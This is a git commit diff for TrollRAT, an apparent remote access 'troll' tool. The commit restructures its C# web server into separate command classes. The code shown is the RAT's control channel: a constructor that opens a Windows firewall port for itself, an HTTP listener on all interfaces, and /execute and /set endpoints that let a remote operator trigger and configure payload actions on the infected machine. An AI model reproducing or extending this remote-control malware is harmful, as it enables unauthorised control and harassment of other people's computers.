Completely new server system
This commit is contained in:
parent
ebc79d8b5f
commit
b94bc25ab3
12 changed files with 385 additions and 228 deletions
|
@ -15,7 +15,7 @@ If I got new ideas, I will add them here. If you got a good idea, open an Issue
|
|||
- Coding
|
||||
- [ ] Clean up and optimize whole code
|
||||
- [ ] More error handlers
|
||||
- [ ] Split server commands into multiple classes
|
||||
- [x] Split server commands into multiple classes
|
||||
- [x] Firewall support
|
||||
- [ ] Include native DLL in binary
|
||||
- [ ] Add startup messages (Disclaimer, quick tutorial etc.)
|
||||
|
|
28
TrollRAT/IDBase.cs
Normal file
28
TrollRAT/IDBase.cs
Normal file
|
@ -0,0 +1,28 @@
|
|||
using System;
|
||||
|
||||
namespace TrollRAT
|
||||
{
|
||||
public abstract class IDBase
|
||||
{
|
||||
public abstract int ID { get; }
|
||||
}
|
||||
|
||||
public class GenericInt<t>
|
||||
{
|
||||
public int value;
|
||||
}
|
||||
|
||||
public abstract class IDBase<t> : IDBase
|
||||
{
|
||||
// Generics are used to redefine the ID for every subclass
|
||||
private static GenericInt<t> idCounter = new GenericInt<t>();
|
||||
|
||||
protected int id;
|
||||
public override int ID => id;
|
||||
|
||||
public IDBase()
|
||||
{
|
||||
id = idCounter.value++;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -3,18 +3,8 @@ using System.Runtime.InteropServices;
|
|||
|
||||
namespace TrollRAT
|
||||
{
|
||||
public abstract class PayloadAction
|
||||
public abstract class PayloadAction : IDBase<PayloadAction>
|
||||
{
|
||||
private static int idCounter = 0;
|
||||
|
||||
protected int id;
|
||||
public int ID => id;
|
||||
|
||||
public PayloadAction()
|
||||
{
|
||||
id = idCounter++;
|
||||
}
|
||||
|
||||
public abstract string getListButton(Payload payload);
|
||||
public abstract string getSettingsButton(Payload payload);
|
||||
|
||||
|
|
|
@ -3,18 +3,8 @@ using System.Text;
|
|||
|
||||
namespace TrollRAT
|
||||
{
|
||||
public abstract class PayloadSetting
|
||||
public abstract class PayloadSetting : IDBase<PayloadSetting>
|
||||
{
|
||||
private static int idCounter = 0;
|
||||
|
||||
protected int id;
|
||||
public int ID => id;
|
||||
|
||||
public PayloadSetting()
|
||||
{
|
||||
id = idCounter++;
|
||||
}
|
||||
|
||||
public abstract void writeHTML(StringBuilder builder);
|
||||
public abstract void readData(string str);
|
||||
}
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
using System;
|
||||
|
||||
using TrollRAT.Server;
|
||||
|
||||
namespace TrollRAT
|
||||
{
|
||||
static class Program
|
||||
|
|
84
TrollRAT/Server/ActionCommands.cs
Normal file
84
TrollRAT/Server/ActionCommands.cs
Normal file
|
@ -0,0 +1,84 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Web;
|
||||
|
||||
namespace TrollRAT.Server
|
||||
{
|
||||
public abstract class ActionCommandBase<t> : WebServerCommand where t : IDBase
|
||||
{
|
||||
public ActionCommandBase(List<Payload> payloads) : base(payloads) { }
|
||||
|
||||
public abstract List<t> getActions(Payload payload);
|
||||
public abstract void doAction(HttpListenerContext context, Payload payload, t action);
|
||||
|
||||
public override void execute(HttpListenerContext context)
|
||||
{
|
||||
try
|
||||
{
|
||||
int id = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("id"));
|
||||
|
||||
foreach (Payload payload in payloads)
|
||||
{
|
||||
foreach (t action in getActions(payload))
|
||||
{
|
||||
if (action.ID == id)
|
||||
{
|
||||
doAction(context, payload, action);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex) when (ex is FormatException || ex is OverflowException || ex is ArgumentNullException)
|
||||
{
|
||||
context.Response.StatusCode = 400;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public class ExecuteCommand : ActionCommandBase<PayloadAction>
|
||||
{
|
||||
public ExecuteCommand(List<Payload> payloads) : base(payloads) { }
|
||||
|
||||
public override Regex Path => new Regex("^/execute$");
|
||||
|
||||
public override List<PayloadAction> getActions(Payload payload)
|
||||
{
|
||||
return payload.Actions;
|
||||
}
|
||||
|
||||
public override void doAction(HttpListenerContext context, Payload payload, PayloadAction action)
|
||||
{
|
||||
string response = action.execute(payload);
|
||||
respondString(response, context.Response, "text/javascript");
|
||||
}
|
||||
}
|
||||
|
||||
public class SetCommand : ActionCommandBase<PayloadSetting>
|
||||
{
|
||||
public SetCommand(List<Payload> payloads) : base(payloads) { }
|
||||
|
||||
public override Regex Path => new Regex("^/set$");
|
||||
|
||||
public override List<PayloadSetting> getActions(Payload payload)
|
||||
{
|
||||
return payload.Settings;
|
||||
}
|
||||
|
||||
public override void doAction(HttpListenerContext context, Payload payload, PayloadSetting action)
|
||||
{
|
||||
string value = HttpUtility.ParseQueryString(context.Request.Url.Query).Get("value");
|
||||
|
||||
if (value == null)
|
||||
context.Response.StatusCode = 400;
|
||||
else
|
||||
{
|
||||
action.readData(value);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
83
TrollRAT/Server/DetailCommands.cs
Normal file
83
TrollRAT/Server/DetailCommands.cs
Normal file
|
@ -0,0 +1,83 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Web;
|
||||
|
||||
namespace TrollRAT.Server
|
||||
{
|
||||
public abstract class DetailCommandBase : WebServerCommand
|
||||
{
|
||||
public DetailCommandBase(List<Payload> payloads) : base(payloads) { }
|
||||
|
||||
public abstract void writeHTML(Payload payload, StringBuilder builder);
|
||||
|
||||
public override void execute(HttpListenerContext context)
|
||||
{
|
||||
StringBuilder content = new StringBuilder();
|
||||
|
||||
try
|
||||
{
|
||||
int pl = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("payload"));
|
||||
|
||||
if (pl >= 0 && pl < payloads.Count)
|
||||
{
|
||||
Payload payload = payloads[pl];
|
||||
writeHTML(payload, content);
|
||||
}
|
||||
else
|
||||
{
|
||||
content.Append("<p>Please select something.</p>");
|
||||
}
|
||||
|
||||
string response = content.ToString();
|
||||
if (response.Length < 1)
|
||||
{
|
||||
response = "<p>Nothing defined.</p>";
|
||||
}
|
||||
|
||||
respondString(response, context.Response, "text/html");
|
||||
}
|
||||
catch (Exception ex) when (ex is FormatException || ex is OverflowException || ex is ArgumentNullException)
|
||||
{
|
||||
context.Response.StatusCode = 400;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public class SettingsCommand : DetailCommandBase
|
||||
{
|
||||
public SettingsCommand(List<Payload> payloads) : base(payloads) { }
|
||||
|
||||
public override Regex Path => new Regex("^/settings$");
|
||||
|
||||
public override void writeHTML(Payload payload, StringBuilder builder)
|
||||
{
|
||||
foreach (PayloadSetting setting in payload.Settings)
|
||||
{
|
||||
setting.writeHTML(builder);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public class ActionsCommand : DetailCommandBase
|
||||
{
|
||||
public ActionsCommand(List<Payload> payloads) : base(payloads) { }
|
||||
|
||||
public override Regex Path => new Regex("^/actions$");
|
||||
|
||||
public override void writeHTML(Payload payload, StringBuilder builder)
|
||||
{
|
||||
foreach (PayloadAction action in payload.Actions)
|
||||
{
|
||||
string btn = action.getSettingsButton(payload);
|
||||
if (btn != null)
|
||||
{
|
||||
builder.Append(btn);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
110
TrollRAT/Server/WebServer.cs
Normal file
110
TrollRAT/Server/WebServer.cs
Normal file
|
@ -0,0 +1,110 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Web;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace TrollRAT.Server
|
||||
{
|
||||
public abstract class WebServerCommandBase
|
||||
{
|
||||
public abstract Regex Path { get; }
|
||||
public abstract void execute(HttpListenerContext context);
|
||||
|
||||
public void respondString(string str, HttpListenerResponse response, string contentType)
|
||||
{
|
||||
respondBytes(Encoding.UTF8.GetBytes(str), response, contentType);
|
||||
}
|
||||
|
||||
public void respondBytes(byte[] data, HttpListenerResponse response, string contentType)
|
||||
{
|
||||
response.ContentLength64 = data.Length;
|
||||
response.StatusCode = 200;
|
||||
response.ContentType = contentType;
|
||||
|
||||
response.OutputStream.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
||||
public abstract class WebServerCommand : WebServerCommandBase
|
||||
{
|
||||
protected List<Payload> payloads;
|
||||
|
||||
public WebServerCommand(List<Payload> payloads)
|
||||
{
|
||||
this.payloads = payloads;
|
||||
}
|
||||
}
|
||||
|
||||
public abstract class WebServerBase
|
||||
{
|
||||
protected int port;
|
||||
public int Port => port;
|
||||
|
||||
protected List<WebServerCommandBase> commands = new List<WebServerCommandBase>();
|
||||
public List<WebServerCommandBase> Commands => commands;
|
||||
|
||||
public WebServerBase(int port)
|
||||
{
|
||||
this.port = port;
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
HttpListener listener = new HttpListener();
|
||||
listener.Prefixes.Add(String.Format("http://*:{0}/", port));
|
||||
listener.Start();
|
||||
|
||||
while (listener.IsListening)
|
||||
{
|
||||
var context = listener.GetContext();
|
||||
|
||||
if (context.Request.HttpMethod == "GET")
|
||||
{
|
||||
var path = context.Request.Url.AbsolutePath;
|
||||
bool processed = false;
|
||||
|
||||
foreach (WebServerCommandBase cmd in commands)
|
||||
{
|
||||
if (cmd.Path.IsMatch(path))
|
||||
{
|
||||
cmd.execute(context);
|
||||
|
||||
processed = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!processed)
|
||||
{
|
||||
context.Response.StatusCode = 404;
|
||||
}
|
||||
|
||||
context.Response.Close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public class WebServer : WebServerBase
|
||||
{
|
||||
private List<Payload> payloads = new List<Payload>();
|
||||
public List<Payload> Payloads => payloads;
|
||||
|
||||
public WebServer(int port) : base(port)
|
||||
{
|
||||
Firewall.openPort("TrollRAT", port, NetFwTypeLib.NET_FW_IP_PROTOCOL_.NET_FW_IP_PROTOCOL_TCP);
|
||||
|
||||
commands.Add(new RootCommand());
|
||||
commands.Add(new PayloadsCommand(payloads));
|
||||
|
||||
commands.Add(new SettingsCommand(payloads));
|
||||
commands.Add(new ActionsCommand(payloads));
|
||||
|
||||
commands.Add(new ExecuteCommand(payloads));
|
||||
commands.Add(new SetCommand(payloads));
|
||||
}
|
||||
}
|
||||
}
|
69
TrollRAT/Server/WebServerCommands.cs
Normal file
69
TrollRAT/Server/WebServerCommands.cs
Normal file
|
@ -0,0 +1,69 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Web;
|
||||
|
||||
namespace TrollRAT.Server
|
||||
{
|
||||
public class RootCommand : WebServerCommandBase
|
||||
{
|
||||
public override Regex Path => new Regex("^/?(index(\\.html|\\.php)?)?$");
|
||||
|
||||
private byte[] site;
|
||||
|
||||
public RootCommand()
|
||||
{
|
||||
var assembly = Assembly.GetExecutingAssembly();
|
||||
using (var stream = assembly.GetManifestResourceStream("TrollRAT.client.html"))
|
||||
{
|
||||
site = new byte[stream.Length];
|
||||
stream.Read(site, 0, (int)stream.Length);
|
||||
}
|
||||
}
|
||||
|
||||
public override void execute(HttpListenerContext context)
|
||||
{
|
||||
respondBytes(site, context.Response, "text/html");
|
||||
}
|
||||
}
|
||||
|
||||
public class PayloadsCommand : WebServerCommand
|
||||
{
|
||||
public PayloadsCommand(List<Payload> payloads) : base(payloads) { }
|
||||
public override Regex Path => new Regex("^/payloads$");
|
||||
|
||||
public override void execute(HttpListenerContext context)
|
||||
{
|
||||
StringBuilder content = new StringBuilder();
|
||||
foreach (Payload payload in payloads)
|
||||
{
|
||||
content.Append("<a href=\"#\" onclick=\"onPayloadSelected(this);\" class=\"list-group-item clearfix\">");
|
||||
content.Append(payload.Name);
|
||||
content.Append("<span class=\"pull-right\">");
|
||||
|
||||
foreach (PayloadAction action in payload.Actions)
|
||||
{
|
||||
string btn = action.getListButton(payload);
|
||||
if (btn != null)
|
||||
{
|
||||
content.Append(btn);
|
||||
}
|
||||
}
|
||||
|
||||
content.Append("</span></a>");
|
||||
}
|
||||
|
||||
string response = content.ToString();
|
||||
if (response.Length < 1)
|
||||
{
|
||||
response = "<p>Nothing defined.</p>";
|
||||
}
|
||||
|
||||
respondString(response, context.Response, "text/html");
|
||||
}
|
||||
}
|
||||
}
|
|
@ -66,6 +66,7 @@
|
|||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Firewall.cs" />
|
||||
<Compile Include="IDBase.cs" />
|
||||
<Compile Include="NewPayloads.cs" />
|
||||
<Compile Include="Payload.cs" />
|
||||
<Compile Include="PayloadAction.cs" />
|
||||
|
@ -73,8 +74,11 @@
|
|||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="MEMZPayloads.cs" />
|
||||
<Compile Include="Server\ActionCommands.cs" />
|
||||
<Compile Include="Server\DetailCommands.cs" />
|
||||
<Compile Include="Server\WebServerCommands.cs" />
|
||||
<Compile Include="SimplePayloads.cs" />
|
||||
<Compile Include="WebServer.cs" />
|
||||
<Compile Include="Server\WebServer.cs" />
|
||||
<EmbeddedResource Include="Properties\Resources.resx">
|
||||
<Generator>ResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||
|
|
|
@ -1,203 +0,0 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Web;
|
||||
|
||||
namespace TrollRAT
|
||||
{
|
||||
class WebServer
|
||||
{
|
||||
private byte[] site;
|
||||
|
||||
private int port;
|
||||
public int Port => port;
|
||||
|
||||
private List<Payload> payloads = new List<Payload>();
|
||||
public List<Payload> Payloads => payloads;
|
||||
|
||||
public WebServer(int port)
|
||||
{
|
||||
this.port = port;
|
||||
Firewall.openPort("TrollRAT", port, NetFwTypeLib.NET_FW_IP_PROTOCOL_.NET_FW_IP_PROTOCOL_TCP);
|
||||
|
||||
var assembly = Assembly.GetExecutingAssembly();
|
||||
using (var stream = assembly.GetManifestResourceStream("TrollRAT.client.html"))
|
||||
{
|
||||
site = new byte[stream.Length];
|
||||
stream.Read(site, 0, (int)stream.Length);
|
||||
}
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
HttpListener listener = new HttpListener();
|
||||
listener.Prefixes.Add(String.Format("http://*:{0}/", port));
|
||||
listener.Start();
|
||||
|
||||
while (listener.IsListening)
|
||||
{
|
||||
var context = listener.GetContext();
|
||||
|
||||
if (context.Request.HttpMethod == "GET")
|
||||
{
|
||||
if (context.Request.Url.PathAndQuery == "/payloads")
|
||||
{
|
||||
StringBuilder content = new StringBuilder();
|
||||
foreach (Payload payload in payloads)
|
||||
{
|
||||
content.Append("<a href=\"#\" onclick=\"onPayloadSelected(this);\" class=\"list-group-item clearfix\">");
|
||||
content.Append(payload.Name);
|
||||
content.Append("<span class=\"pull-right\">");
|
||||
|
||||
foreach (PayloadAction action in payload.Actions)
|
||||
{
|
||||
string btn = action.getListButton(payload);
|
||||
if (btn != null)
|
||||
{
|
||||
content.Append(btn);
|
||||
}
|
||||
}
|
||||
|
||||
content.Append("</span></a>");
|
||||
}
|
||||
|
||||
byte[] data = Encoding.UTF8.GetBytes(content.ToString());
|
||||
if (content.Length < 1)
|
||||
{
|
||||
data = Encoding.UTF8.GetBytes("<p>No settings defined.</p>");
|
||||
}
|
||||
|
||||
context.Response.ContentLength64 = data.Length;
|
||||
context.Response.StatusCode = 200;
|
||||
context.Response.ContentType = "text/html";
|
||||
|
||||
context.Response.OutputStream.Write(data, 0, data.Length);
|
||||
}
|
||||
else if (context.Request.Url.AbsolutePath == "/actions")
|
||||
{
|
||||
int pl = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("payload"));
|
||||
|
||||
StringBuilder content = new StringBuilder();
|
||||
|
||||
if (pl >= 0 && pl < Payloads.Count)
|
||||
{
|
||||
Payload payload = payloads[pl];
|
||||
|
||||
foreach (PayloadAction action in payload.Actions)
|
||||
{
|
||||
string btn = action.getSettingsButton(payload);
|
||||
if (btn != null)
|
||||
{
|
||||
content.Append(btn);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
content.Append("<p>Please select something.</p>");
|
||||
}
|
||||
|
||||
byte[] data = Encoding.UTF8.GetBytes(content.ToString());
|
||||
if (content.Length < 1)
|
||||
{
|
||||
data = Encoding.UTF8.GetBytes("<p>No actions defined.</p>");
|
||||
}
|
||||
|
||||
context.Response.ContentLength64 = data.Length;
|
||||
context.Response.StatusCode = 200;
|
||||
context.Response.ContentType = "text/html";
|
||||
|
||||
context.Response.OutputStream.Write(data, 0, data.Length);
|
||||
}
|
||||
else if (context.Request.Url.AbsolutePath == "/set")
|
||||
{
|
||||
string value = HttpUtility.ParseQueryString(context.Request.Url.Query).Get("value");
|
||||
int id = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("id"));
|
||||
|
||||
foreach (Payload payload in payloads)
|
||||
{
|
||||
foreach (PayloadSetting setting in payload.Settings)
|
||||
{
|
||||
if (setting.ID == id)
|
||||
{
|
||||
setting.readData(value);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (context.Request.Url.AbsolutePath == "/execute")
|
||||
{
|
||||
int id = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("id"));
|
||||
|
||||
foreach (Payload payload in payloads)
|
||||
{
|
||||
foreach (PayloadAction action in payload.Actions)
|
||||
{
|
||||
if (action.ID == id)
|
||||
{
|
||||
string response = action.execute(payload);
|
||||
|
||||
byte[] data = Encoding.UTF8.GetBytes(response.ToString());
|
||||
|
||||
context.Response.ContentLength64 = data.Length;
|
||||
context.Response.StatusCode = 200;
|
||||
context.Response.ContentType = "text/javascript";
|
||||
|
||||
context.Response.OutputStream.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
else if (context.Request.Url.AbsolutePath == "/settings")
|
||||
{
|
||||
// TODO Error handling
|
||||
int pl = Int32.Parse(HttpUtility.ParseQueryString(context.Request.Url.Query).Get("index"));
|
||||
StringBuilder content = new StringBuilder();
|
||||
|
||||
if (pl >= 0 && pl < Payloads.Count)
|
||||
{
|
||||
Payload payload = payloads[pl];
|
||||
|
||||
foreach (PayloadSetting setting in payload.Settings)
|
||||
{
|
||||
setting.writeHTML(content);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
content.Append("<p>Please select something.</p>");
|
||||
}
|
||||
|
||||
byte[] data = Encoding.UTF8.GetBytes(content.ToString());
|
||||
if (content.Length < 1)
|
||||
{
|
||||
data = Encoding.UTF8.GetBytes("<p>No settings defined.</p>");
|
||||
}
|
||||
|
||||
context.Response.ContentLength64 = data.Length;
|
||||
context.Response.StatusCode = 200;
|
||||
context.Response.ContentType = "text/html";
|
||||
|
||||
context.Response.OutputStream.Write(data, 0, data.Length);
|
||||
}
|
||||
else
|
||||
{
|
||||
context.Response.ContentLength64 = site.Length;
|
||||
context.Response.StatusCode = 200;
|
||||
context.Response.ContentType = "text/html";
|
||||
|
||||
context.Response.OutputStream.Write(site, 0, site.Length);
|
||||
}
|
||||
|
||||
context.Response.Close();
|
||||
} else if (context.Request.HttpMethod == "POST")
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -119,7 +119,7 @@
|
|||
$.ajax({
|
||||
method: "GET",
|
||||
url: "/settings",
|
||||
data: { index: active }
|
||||
data: { "payload": active }
|
||||
}).done(function (settings) {
|
||||
$("#settings").html(settings);
|
||||
}).error(function () {
|
||||
|
|
Reference in a new issue